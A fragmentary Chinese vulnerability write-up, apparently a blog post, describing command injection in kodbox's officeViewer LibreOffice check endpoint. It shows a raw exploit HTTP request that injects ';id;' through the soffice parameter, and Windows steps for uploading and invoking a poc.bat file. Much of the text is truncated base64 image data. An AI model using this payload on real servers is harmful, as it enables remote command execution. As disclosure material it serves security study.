V5tNZlbmy1ea2L5i47OyGcTH7vOzFQ8/lMRV9fPz84zxRm5YU87JT0qnPJ7K9fgQtLL5w769LOkJNwO3dWw6P0zDRh6Z8njq5StNPqbq5Nx/fyIrIf+cYQPfiAu57X+2h4aGhoWFbtqU+/MnZxDRvLmZzc3NK1cuZ3PGxsY+8MCPL/yt+vDhIzNnPile3b33/iAiMuLI4T+FhoWFhYbeffddY41j5UvIH8ZVLMgHTAUAAAAAgIFC9e2337v6jA0i6PWogXV19Zs355PPo6ieOfOLine truncated
<p blockindex=46>GET /kodbox/index.php?plugin/officeViewer/libreOffice/index/check&amp;soffice=";id;%23&amp;check=1 HTTP/1.1<br>
Host: 192.168.145.131<br>
Cache-Control: max-age=0<br>
Upgrade-Insecure-Requests: 1<br>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36<br>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,<em>/</em>;q=0.8,application/signed-exchange;v=b3;q=0.7<br>
Accept-Encoding: gzip, deflate<br>
Accept-Language: zh-CN,zh;q=0.9<br>
Cookie: KOD_SESSION_ID=9fbbb7a218e0d680fab1ce38b9879adc; CSRF_TOKEN=6jfthGWYzrs5R8Xr; kodUserID=1<br>
Connection: close</p>
<p blockindex=47><img src="data:image/png;base64,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 truncated
<p blockindex=48><strong>windows系统下:</strong></p>
<p blockindex=49>利用条件:1、需要权限可上传写入文件到服务器中。2、需要有可执行文件的绝对路径。</p>
<p blockindex=50>一、进入后台上传poc文件</p>
<p blockindex=51><img src="data:image/png;base64,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 truncated
<p blockindex=52>poc内容为:</p>
<p blockindex=53><img src="data:image/png;base64,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 truncated
<p blockindex=54>poc上传的绝对路径为:</p>
<pre blockindex=55><code class="hljs language-php">D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\<span class=hljs-number>202312</span>\<span class=hljs-number>19_81229</span>b0a\poc.bat
</code></pre>
